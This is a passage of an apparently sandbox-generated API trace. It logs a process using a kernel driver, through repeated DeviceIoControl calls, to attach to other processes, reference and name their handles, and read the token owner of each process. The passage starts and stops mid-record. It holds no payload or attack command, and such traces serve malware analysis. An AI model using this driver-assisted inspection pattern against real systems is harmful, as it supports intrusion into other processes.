| out: Object=0xfffff88005473548*=0xfffffa8001fce180, HandleInformation=0x0) returned 0x0 [0137.646] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.646] PsReleaseProcessExitSynchronization () returned 0x2 [0137.646] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0137.646] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.646] ObfDereferenceObject (Object=0xfffffa8001fce180) returned 0x1 [0137.646] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.646] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.647] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0137.647] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.647] PsAcquireProcessExitSynchronization () returned 0x0 [0137.647] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054735d0) [0137.647] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800208d070, HandleInformation=0x0) returned 0x0 [0137.647] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.647] PsReleaseProcessExitSynchronization () returned 0x2 [0137.647] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0137.647] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.647] ObfDereferenceObject (Object=0xfffffa800208d070) returned 0x1 [0137.647] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.647] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.647] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.647] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.647] PsAcquireProcessExitSynchronization () returned 0x0 [0137.647] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880054735d0) [0137.647] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.647] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.647] PsReleaseProcessExitSynchronization () returned 0x2 [0137.647] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0137.647] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.647] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.647] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.647] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.647] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9a0) returned 0xc0 [0137.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.647] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020222d0, HandleInformation=0x0) returned 0x0 [0137.647] ObOpenObjectByPointer (in: Object=0xfffffa80020222d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.647] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x12 [0137.647] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.647] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.648] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.648] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.648] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.649] CloseHandle (hObject=0xc8) returned 1 [0137.649] CloseHandle (hObject=0xc0) returned 1 [0137.649] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.649] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.649] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.649] PsAcquireProcessExitSynchronization () returned 0x0 [0137.649] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054735d0) [0137.649] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002022c00, HandleInformation=0x0) returned 0x0 [0137.649] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.649] PsReleaseProcessExitSynchronization () returned 0x2 [0137.649] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0137.649] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.649] ObfDereferenceObject (Object=0xfffffa8002022c00) returned 0x1 [0137.649] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.649] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.650] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0137.650] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.650] PsAcquireProcessExitSynchronization () returned 0x0 [0137.650] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054735d0) [0137.650] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800202d760, HandleInformation=0x0) returned 0x0 [0137.650] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.650] PsReleaseProcessExitSynchronization () returned 0x2 [0137.650] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0137.650] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.650] ObfDereferenceObject (Object=0xfffffa800202d760) returned 0x1 [0137.650] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.650] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.650] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.650] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.650] PsAcquireProcessExitSynchronization () returned 0x0 [0137.650] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880054735d0) [0137.650] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.650] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.650] PsReleaseProcessExitSynchronization () returned 0x2 [0137.650] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0137.650] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.650] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.650] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.650] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.650] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9b0) returned 0xc0 [0137.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.650] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002049740, HandleInformation=0x0) returned 0x0 [0137.650] ObOpenObjectByPointer (in: Object=0xfffffa8002049740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.650] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x12 [0137.650] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.650] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.651] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.651] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.651] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.652] CloseHandle (hObject=0xc8) returned 1 [0137.652] CloseHandle (hObject=0xc0) returned 1 [0137.652] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.652] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.652] PsAcquireProcessExitSynchronization () returned 0x0 [0137.652] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054735d0) [0137.652] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002056980, HandleInformation=0x0) returned 0x0 [0137.652] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.652] PsReleaseProcessExitSynchronization () returned 0x2 [0137.652] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0137.652] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.652] ObfDereferenceObject (Object=0xfffffa8002056980) returned 0x1 [0137.652] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.652] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.652] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0137.653] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.653] PsAcquireProcessExitSynchronization () returned 0x0 [0137.653] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054735d0) [0137.653] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002056830, HandleInformation=0x0) returned 0x0 [0137.653] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.653] PsReleaseProcessExitSynchronization () returned 0x2 [0137.653] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0137.653] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.653] ObfDereferenceObject (Object=0xfffffa8002056830) returned 0x1 [0137.653] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.653] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.653] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.653] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.653] PsAcquireProcessExitSynchronization () returned 0x0 [0137.653] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054735d0) [0137.653] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.653] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.653] PsReleaseProcessExitSynchronization () returned 0x2 [0137.653] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0137.653] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.653] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.653] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.653] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.653] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9c0) returned 0xc0 [0137.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.653] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020974e0, HandleInformation=0x0) returned 0x0 [0137.653] ObOpenObjectByPointer (in: Object=0xfffffa80020974e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000774) returned 0x0 [0137.653] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x12 [0137.653] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000774, DesiredAccess=0x8, TokenHandle=0xfffffa80021614c0 | out: TokenHandle=0xfffffa80021614c0*=0xc8) returned 0x0 [0137.654] ZwClose (Handle=0xffffffff80000774) returned 0x0 [0137.654] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.654] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.654] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.655] CloseHandle (hObject=0xc8) returned 1 [0137.655] CloseHandle (hObject=0xc0) returned 1 [0137.655] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.655] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.655] PsAcquireProcessExitSynchronization () returned 0x0 [0137.655] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054735d0) [0137.655] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002097e10, HandleInformation=0x0) returned 0x0 [0137.655] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.655] PsReleaseProcessExitSynchronization () returned 0x2 [0137.655] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0137.655] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.656] ObfDereferenceObject (Object=0xfffffa8002097e10) returned 0x1 [0137.656] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.656] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.656] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0137.656] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.656] PsAcquireProcessExitSynchronization () returned 0x0 [0137.656] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054735d0) [0137.656] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002099260, HandleInformation=0x0) returned 0x0 [0137.656] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.656] PsReleaseProcessExitSynchronization () returned 0x2 [0137.656] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0137.656] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.656] ObfDereferenceObject (Object=0xfffffa8002099260) returned 0x1 [0137.656] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.656] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.656] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.656] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.656] PsAcquireProcessExitSynchronization () returned 0x0 [0137.656] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054735d0) [0137.656] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.656] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.656] PsReleaseProcessExitSynchronization () returned 0x2 [0137.656] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0137.656] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.656] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.656] IofCompleteRequest (Irp=0xfffffa8001fe2350, PriorityBoost=0) [0137.656] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.656] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9d0) returned 0xc0 [0137.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, 